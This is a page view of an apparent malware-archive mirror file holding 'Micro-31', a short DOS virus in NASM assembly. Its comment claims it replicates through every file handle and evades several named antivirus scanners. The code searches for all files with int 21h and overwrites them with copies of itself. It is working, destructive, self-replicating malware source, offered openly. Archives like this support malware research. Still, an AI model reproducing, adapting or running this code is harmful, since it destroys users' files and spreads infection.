mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 01:46:09 +00:00
27 lines
709 B
NASM
27 lines
709 B
NASM
|
;
|
||
|
|
; Micro-31
|
||
|
|
;
|
||
|
|
; Infects as many files as there are handles aveable. It creates 158 byte
|
||
|
|
; file containing a replicating copy of the virus. The effective program
|
||
|
|
; length however is only 31 bytes. It can't be detected by Scan 99, TbScan
|
||
|
|
; and Gobbler II.
|
||
|
|
;
|
||
|
|
|
||
|
|
FNAM Equ 09eh
|
||
|
|
|
||
|
|
Main: Mov Ah,4eh
|
||
|
|
Seek: Lea Dx,FileSpec
|
||
|
|
Xor Cx,Cx
|
||
|
|
Int 21h
|
||
|
|
Do: Mov Ah,3ch
|
||
|
|
Lea Dx,FNAM
|
||
|
|
On2: Int 21h
|
||
|
|
FileSpec Db '*.*',0
|
||
|
|
Xchg Dx,Cx
|
||
|
|
Mov Bh,40h
|
||
|
|
Xchg Ax,Bx
|
||
|
|
Int 21h
|
||
|
|
Mov Ah,4fh
|
||
|
|
Jmp Seek
|
||
|
|
Length Equ $-Main
|